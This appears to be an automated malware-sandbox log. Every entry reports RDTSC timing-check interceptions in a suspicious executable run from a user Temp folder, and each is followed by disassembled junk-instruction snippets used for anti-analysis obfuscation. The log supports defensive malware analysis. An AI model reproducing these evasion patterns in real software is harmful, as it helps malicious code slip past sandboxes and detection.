Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7F97 second address: CC7F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7F9D second address: CC7FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4E0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7FB1 second address: CC7FB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7FB5 second address: CC7FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC9A40 second address: CC9A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC9A46 second address: CC9A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FEC30BFF4EBh 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC9A69 second address: CC9A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push ebx 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CCF4B9 second address: CCF4C3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC30BFF4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CCF4C3 second address: CCF4E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FEC30B390D4h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CCF4E8 second address: CCF4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CCF63C second address: CCF64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jno 00007FEC30B390C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CCF64D second address: CCF65A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FEC30BFF4D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CCF65A second address: CCF679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390D5h 0x00000009 jns 00007FEC30B390C6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CEBBE6 second address: CEBC13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E4h 0x00000007 pushad 0x00000008 jmp 00007FEC30BFF4E4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CEBA8E second address: CEBA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jc 00007FEC30B390CEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D08D9F second address: D08DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D07FDC second address: D07FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30B390D2h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D08192 second address: D081A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEC30BFF4DCh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D084B1 second address: D084C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390D0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0A3CC second address: D0A3D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0BA99 second address: D0BAA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0BAA3 second address: D0BAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0BAA9 second address: D0BAAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0E5D5 second address: D0E5D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0E964 second address: D0E969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0E969 second address: D0EA03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FEC30BFF4D8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov dword ptr [ebp+1244A97Ah], edi 0x0000002b push dword ptr [ebp+122D1B4Bh] 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FEC30BFF4D8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov edx, dword ptr [ebp+122D2D77h] 0x00000051 call 00007FEC30BFF4D9h 0x00000056 jmp 00007FEC30BFF4E7h 0x0000005b push eax 0x0000005c jnl 00007FEC30BFF4DAh 0x00000062 mov eax, dword ptr [esp+04h] 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push edi 0x0000006b pop edi 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0EA03 second address: D0EA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0EA07 second address: D0EA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0EA0D second address: D0EA13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D0EA13 second address: D0EA17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D11A1E second address: D11A4D instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC30B390CAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007FEC30B390CCh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jnl 00007FEC30B390CEh 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: D11A4D second address: D11A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40F36 second address: 4B40F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40F3A second address: 4B40F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B40F40 second address: 4B40FE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEC30B390CCh 0x00000009 sbb ax, FF58h 0x0000000e jmp 00007FEC30B390CBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FEC30B390D8h 0x0000001a and cl, FFFFFFB8h 0x0000001d jmp 00007FEC30B390CBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 mov ebx, esi 0x0000002a movzx ecx, dx 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FEC30B390CAh 0x00000034 xchg eax, ebp 0x00000035 pushad 0x00000036 mov bh, ah 0x00000038 mov bx, 382Eh 0x0000003c popad 0x0000003d mov ebp, esp 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FEC30B390CBh 0x00000046 jmp 00007FEC30B390D3h 0x0000004b popfd 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FEC30B390D6h 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B10809 second address: 4B1082D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEC30BFF4E0h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1082D second address: 4B10833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B10833 second address: 4B10856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC30BFF4DEh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B10856 second address: 4B1087D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC30B390D5h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1087D second address: 4B1088D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4DCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1088D second address: 4B108A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC30B390CAh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B108A3 second address: 4B108A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B108A9 second address: 4B108AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B108AD second address: 4B108CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEC30BFF4E4h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50D94 second address: 4B50DBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, 3Eh 0x0000000f mov cx, 7E0Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50DBC second address: 4B50DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50DC2 second address: 4B50E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 push ecx 0x00000012 movsx edx, ax 0x00000015 pop ecx 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FEC30B390D0h 0x00000021 and cx, 09A8h 0x00000026 jmp 00007FEC30B390CBh 0x0000002b popfd 0x0000002c mov ah, 18h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50E10 second address: 4B50E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4E1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AD0B88 second address: 4AD0B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AD0B8D second address: 4AD0BF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEC30BFF4E6h 0x0000000f push eax 0x00000010 jmp 00007FEC30BFF4DBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FEC30BFF4E6h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e mov cl, 67h 0x00000020 mov dh, 76h 0x00000022 popad 0x00000023 push dword ptr [ebp+04h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FEC30BFF4DCh 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AD0BF1 second address: 4AD0BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AD0BF7 second address: 4AD0BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AD0BFD second address: 4AD0C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B10509 second address: 4B1050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1050D second address: 4B1051B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1051B second address: 4B1056E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4E1h 0x00000008 call 00007FEC30BFF4E0h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esp 0x00000012 jmp 00007FEC30BFF4DEh 0x00000017 mov dword ptr [esp], ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FEC30BFF4E7h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1056E second address: 4B105A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FEC30B390D3h 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00899 second address: 4B008F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEC30BFF4E0h 0x0000000f push eax 0x00000010 jmp 00007FEC30BFF4DBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FEC30BFF4E6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FEC30BFF4DAh 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B008F3 second address: 4B00902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50755 second address: 4B50777 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movsx ebx, cx 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d jmp 00007FEC30BFF4DCh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov cl, bl 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50540 second address: 4B5057F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FEC30B390CEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEC30B390D7h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B105F1 second address: 4B10623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEC30BFF4DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B10623 second address: 4B10628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B10628 second address: 4B1065C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC30BFF4E7h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B1065C second address: 4B106AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5FF96FCAh 0x00000008 pushfd 0x00000009 jmp 00007FEC30B390CBh 0x0000000e adc eax, 229F0A6Eh 0x00000014 jmp 00007FEC30B390D9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007FEC30B390D3h 0x00000027 push ecx 0x00000028 pop edi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50A5E second address: 4B50A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50A62 second address: 4B50A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50A68 second address: 4B50AAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 62BCA1BFh 0x00000008 mov esi, 55A39ADBh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 jmp 00007FEC30BFF4DEh 0x00000017 mov eax, dword ptr [ebp+08h] 0x0000001a jmp 00007FEC30BFF4E0h 0x0000001f and dword ptr [eax], 00000000h 0x00000022 pushad 0x00000023 popad 0x00000024 and dword ptr [eax+04h], 00000000h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50AAA second address: 4B50AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50AAE second address: 4B50ABE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00779 second address: 4B0077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
